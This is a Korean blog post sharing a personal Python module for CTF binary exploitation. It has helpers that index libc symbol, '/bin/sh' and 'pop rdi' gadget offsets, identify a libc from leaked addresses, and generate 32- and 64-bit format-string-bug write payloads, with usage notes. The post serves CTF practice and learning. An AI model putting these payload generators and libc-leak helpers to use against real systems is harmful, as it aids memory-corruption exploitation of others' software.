my ctf module
by St1tch---------------------------------------------------------------------------------------------
기존에 사용하던 모듈에서 어려워서 사용을 못하거나 없었던 기능을 필요에 의해 만들어봤다.
만들때는 내부모듈만을 이용해서 만드는게 공부도 많이되고, 모르는것도 많이 알게 된 것 같다.
---------------------------------------------------------------------------------------------
계속 부족한점은 수정중..
#stitch.py
import string
import os
import struct
#modify libc path
path = '/home/stitch/uk/libc/'
printable = string.printable[:-6]
msg = ''
p32 = lambda x : struct.pack('<I', x)
p64 = lambda x : struct.pack('<Q', x)
def dump_str(_input) :
def padding(s) :
if len(s) % 16 :
s += "\x00" * (16 - ( len(s) % 16) )
return s
s = padding(_input)
#print addr
for addr in range(0x0, len(s), 0x10) :
print '0x' + '0'*(10-len(str(hex(addr)))) + str(hex(addr))[2:] + ' ',
#print hex value
for s_hex in range(addr, addr+16) :
tmp = str(hex(ord(s[s_hex])))[2:]
if(len(tmp) == 1):
print '0' + tmp + ' ',
else :
print tmp + ' ',
#print ascii value
print ' ',
l = []
for s_ascii in range(addr, addr+16) :
if s[s_ascii] in printable :
l.append(s[s_ascii])
else :
l.append('.')
print ''.join(l)
#input -> find_libc_sub(func1,func2,sub_addr)
#output -> [dict1, dict2, ...]
#dict = {'func1' : addr1, 'func2' : addr2, ...}
#output[0,1, ...]['func'] => addr
def find_libc_sub(func1, func2, sub) :
global msg
def find(data, func1, func2, sub) :
global msg
data = data.split('\n')
poprdi_ret = 0
for _str in data :
if len(_str) == 0 : continue
func, addr = _str.split('#')
if func == 'system' :
system = int(addr, 16)
if func == 'execl' :
execl = int(addr, 16)
if func == 'binsh' :
binsh = int(addr, 16)
if func == 'poprdi_ret' :
poprdi_ret = int(addr, 16)
if func == func1 :
addr1 = int(addr, 16)
elif func == func2 :
addr2 = int(addr, 16)
if sub == str(abs(addr1 - addr2)) :
msg += '-'*30 + '\n'
msg += func1 + '=' + hex(addr1) + '\n'
msg += func2 + '=' + hex(addr2) + '\n'
msg += 'system=' + hex(system) + '\n'
msg += 'binsh=' + hex(binsh) + '\n'
msg += 'execl=' + hex(execl) + '\n'
if poprdi_ret != 0 :
msg += 'poprdi_ret=' + hex(poprdi_ret) + '\n'
return 1
else :
return 0
if type(sub) == int :
sub = str(abs(sub))
for root, dirs, files in os.walk(path):
for file in files:
if '.list' == file[-5:] :
data = open( path + file, 'rb').read()
if find(data, func1, func2, sub) :
msg += 'libc=' + file[:-5] + '\n'
tmp = msg
msg = ''
l = tmp.strip().split('-'*30+'\n')[1:]
_dict = [ {} for i in range(len(l))]
for i in range(len(l)) :
_list = l[i].strip().split('\n')
for a in _list :
c, d = a.split('=')
if c == 'libc' : _dict[i][str(c)] = str(d)
else : _dict[i][str(c)] = int(d, 16)
return _dict
#input -> find_libc({'func1' : 'addr1[-3:]', 'func2' : 'addr2[-3:]'}, ...)
#output -> [dict1, dict2, ...]
#dict = {'func1' : addr1, 'func2' : addr2 , ...}
#output[0,1, ...]['func'] = addr
def find_libc(input_func) :
global msg
def find(input_func, data) :
global msg
data = data.split('\n')
poprdi_ret = 0
tmp = {}
for _str in data :
if len(_str) == 0 : continue
func, addr = _str.split('#')
if func == 'system' :
system = int(addr, 16)
if func == 'execl' :
execl = int(addr, 16)
if func == 'binsh' :
binsh = int(addr, 16)
if func == 'poprdi_ret' :
poprdi_ret = int(addr, 16)
if func in input_func.keys() :
tmp[func] = int(addr, 16)
def check(input_func, tmp) :
for key in input_func.keys() :
if input_func[key] == hex(tmp[key])[-3:] : continue
else : return 0
return 1
if check(input_func, tmp) :
msg += '-'*30 + '\n'
msg += ''.join([ i + '=' + hex(tmp[i]) + '\n' for i in tmp])
msg += 'system=' + hex(system) + '\n'
msg += 'binsh=' + hex(binsh) + '\n'
msg += 'execl=' + hex(execl) + '\n'
if poprdi_ret != 0 :
msg += 'poprdi_ret=' + hex(poprdi_ret) + '\n'
return 1
else :
return 0
for root, dirs, files in os.walk( path ):
for file in files:
if '.list' == file[-5:] :
data = open( path + file, 'rb').read()
if find(input_func, data) :
msg += 'libc=' + file[:-5] + '\n'
tmp = msg
msg = ''
l = tmp.strip().split('-'*30+'\n')[1:]
_dict = [ {} for i in range(len(l))]
for i in range(len(l)) :
_list = l[i].strip().split('\n')
for a in _list :
c, d = a.split('=')
if c == 'libc' : _dict[i][str(c)] = str(d)
else : _dict[i][str(c)] = int(d, 16)
return _dict
def fsb(offset, addr_list, written) :
payload = ''
_len = written
default = '%NUMc%OFFSET$hn'
offset += (8 * len(addr_list))
for i in range(len(addr_list)) :
target = addr_list.keys()[i]
addr = addr_list[target]
addr_high = addr >> 16
addr_low = addr & 0x0000ffff
while (addr_low < _len) :
addr_low += 0x10000
num1 = addr_low - _len
_len += num1
while (addr_high < _len) :
addr_high += 0x10000
num2 = addr_high - _len
_len += num2
payload += default.replace('NUM',str(num1)).replace('OFFSET', str(offset))
offset += 1
payload += default.replace('NUM',str(num2)).replace('OFFSET', str(offset))
offset += 1
while len(payload) != 32*len(addr_list) :
payload += 'a'
for i in range(len(addr_list)) :
target = addr_list.keys()[i]
for index in range(0, 4, 2) :
payload += p32(target+index)
return payload
def fsb64(offset, addr_list, written) :
payload = ''
_len = written
default = '%NUMc%OFFSET$hn'
offset += (8 * len(addr_list))
for i in range(len(addr_list)) :
target = addr_list.keys()[i]
addr = addr_list[target]
addr_hh = (addr >> 48)
addr_hl = (addr >> 32) & 0xffff
addr_lh = (addr >> 16) & 0xffff
addr_ll = (addr & 0xffff)
while (addr_ll < _len) :
addr_ll += 0x10000
num1 = addr_ll - _len
_len += num1
while (addr_lh < _len) :
addr_lh += 0x10000
num2 = addr_lh - _len
_len += num2
while (addr_hl < _len) :
addr_hl += 0x10000
num3 = addr_hl - _len
_len += num3
while (addr_hh < _len) :
addr_hh += 0x10000
num4 = addr_hh - _len
_len += num4
payload += default.replace('NUM',str(num1)).replace('OFFSET', str(offset))
offset += 1
payload += default.replace('NUM',str(num2)).replace('OFFSET', str(offset))
offset += 1
payload += default.replace('NUM',str(num3)).replace('OFFSET', str(offset))
offset += 1
payload += default.replace('NUM',str(num4)).replace('OFFSET', str(offset))
offset += 1
while len(payload) != 64*len(addr_list) :
payload += 'a'
for i in range(len(addr_list)) :
target = addr_list.keys()[i]
for index in range(0, 8, 2) :
payload += p64(target+index)
return payload
if __name__ == '__main__' :
print 'stitch'
#save_libc.py
import os
import sys
path = '/home/stitch/stitch/libc/'
data = ''
try :
if open(sys.argv[1], 'rb').read()[4] == '\x01' :
bit = 0 #32bit
else :
bit = 1 #64bit
except :
print 'format error => python this.py path_libc'
sys.exit(0)
def add(name, addr) :
global data
if name == '' or addr == '' :
return
else :
data += name
data += '#'
data += str(addr)
data += '\n'
def remove_null(s) :
s = s.split(': ')[1].split(' ')
return [i for i in s if i != '']
#binsh addr save
def binsh() :
tmp = os.popen('strings -a -t x %s | grep /bin/sh'%sys.argv[1]).read()
binsh = tmp.strip().split(' ')[0]
add('binsh', binsh)
#main_ret addr save
def main_ret() :
tmp = open(sys.argv[1], 'rb').read()
#64bit
if bit :
main_ret = tmp.find('\xff\xd0\x89\xc7') + 2
poprdi_ret = hex(tmp.find('\x5f\xc3')).lstrip('0x')
add('poprdi_ret', poprdi_ret)
#32bit
else :
main_ret = tmp.find('\xff\x54\x24\x70') + 4
main_ret = hex(main_ret).lstrip('0x')
add('main_ret', main_ret)
#libc addr save
def libc_addr() :
tmp = os.popen('readelf -s %s'%sys.argv[1]).read().split('\n')[3:-1]
for i in tmp :
data = remove_null(i)
if (data[2] == 'FUNC') or (data[2] == 'IFUNC') :
add(data[6].split('@')[0], data[0].lstrip('0'))
if __name__ == '__main__' :
filename = sys.argv[1].split('/')[-1]
if bit :
filename = '64_' + filename + '.list' #64bit
else :
filename = '32_' + filename + '.list' #32bit
f = open(path + filename, 'wb')
libc_addr()
binsh()
main_ret()
f.write(data)
f.close()
print '[Success] Create %s '%(path+filename)
1. save_libc.py
path에 libc의 함수,주소 파일을 저장할 경로를 적어주고 ,
python save_libc.py path_libc |
이런 포맷으로 실행을 시켜주면,
지정한 경로에 해당 공유라이브러리의 .list 파일이 생성된다.
이 list파일에는 함수의 offset값들과 binsh, main_ret 주소 등이 적혀있다.
다양한 리눅스 버전의 libc들을 등록을 시켜놓고 2, 3번 함수를 실행시켜주면 해당하는 함수 오프셋을 바로 찾을 수 있다.
2,3번 함수를 실행할 때 필수적으로 save_libc.py를 이용해서 라이브러리들을 등록을 해놔야 한다.
.list파일에는 #토큰을 사이에 두고 함수이름과 오프셋이 저장되어있다.
2. find_libc_sub 함수
두 함수의 실제주소를 알고 있을 경우
그 함수의 이름과 두 주소값의 차이만 함수에 넣어주면
자주 이용하는 함수나 값들의 offset을 리턴해주며, 64bit의 경우 pop rdi, ret 가젯의 오프셋도 알려준다.
사전형을 리턴하기 때문에 별도로 파싱없이 바로 익스플로잇에 적용할수있다.
위 캡쳐의 경우 main의 리턴주소와 write주소를 알고 있을 경우, 두 함수차를 이용해서 libc를 알아낸 예시이다.
조건에 만족하는 경우가 2개 이상인 경우에는, dict[0][함수]를 해보고 안되면 dict[1][함수] 이런식으로 넣으면 된다.
execute -> find_libc_sub(func1,func2,sub_addr) output -> [dict1, dict2, ...] dict = {'func1' : addr1, 'func2' : addr2, ...} output[0, 1, ...]['func'] = addr |
3.find_libc 함수
이 함수는 한개든 몇개든 실제함수주소의 끝에 3자리만 가지고 libc와 함수의 offset을 구한다.
사전형으로 {함수이름, 주소끝3자리} 이런식으로 알고있는 정보를 넣어서 실행시키면, 해당하는 libc가 있을 경우 사전형으로 리턴값을 준다.
주소값을 한개 넣으면 일치하는 libc가 여러개 존재할 수 있기 때문에,
여러개의 사전형 데이터를 리턴받을 수 있는데 이럴때는 한개씩 돌려보면 된다.
자주 이용하는 함수나 값들의 offset을 리턴해주며, 64bit의 경우 pop rdi, ret 가젯의 오프셋도 알려준다.
실제 문제를 풀 때는 나는 이런식으로 사용한다.
execute -> find_libc({'func1' : 'addr1[-3:]', 'func2' : 'addr2[-3:]'}, ...) output -> [dict1, dict2, ...] dict = {'func1' : addr1, 'func2' : addr2, ...} output[0, 1, ...]['func'] = addr |
4. fsb 함수
말그대로 포맷스트링버그의 익스플로잇을 작성할 때 페이로드를 대신 짜주는 함수이다.
페이로드가 정확히 덮어 씌울 주소와 포맷스트링의 offset만 잘 넣어주면 된다.
pwn모듈에 비슷한게 있는데 옵션도 많고 offset에 도대체가 뭘 넣어야할지 몰라서 만들었다.
32bit 바이너리에서 적용됨
이런식으로 입력을 넣어주면 된다.
execute - > fsb( offset, {target : value, ... }, written_len ) output = fsb_payload |
fsb를 해봤으면 아마 무슨 말을 하는지 이해가 갈 것이다.
offset은 위 그림처럼 주소에 해당하는 포멧스트링의 오프셋이고,
사전형 데이터로 타겟이랑 value값을 넣으면 된다.
written_len은 이 페이로드가 들어가기 직전까지의 문자열 길이이다.
문제 풀다보면 특히 fsb는 좀 헷갈리기 때문에, 덮어씌울 주소가 많아질때를 대비해서
미리 함수를 짜두고 적용하는게 더 깔끔하고 덜 헷갈리는거 같다.
주소한개를 덮어 씌우기 위해서는 적어도 40byte의 버퍼가 필요하다.
format string(32byte) + 주소(8byte)
5. fsb64 함수
fsb와 같은 기능.
64bit 바이너리에 적용가능한 payload를 만듬.
주소한개를 덮어 씌우기 위해서는 적어도 96byte의 버퍼가 필요하다.
format string(64byte) + 주소(32byte)
6. dump_str 함수
어떤 스트링이나 헥스값들을 헥스에딧과 유사하게 보기 좋게 출력 해줌.
특정 메모리값을 릭할때 pritable되는 값이 아닐경우 유용함.
exploit을 작성할 때 값을 바로바로 확인 할 수 있기 때문에 조금의 수고를 덜어줌;;
왼쪽은 문자열의 offset이고 가운데는 hex값 , 오른쪽은 ascii값을 출력 해 준다. (non printable은 .으로 표시)
dump_str(스트링변수or문자열) |
블로그의 정보
튜기's blogg(st1tch)
St1tch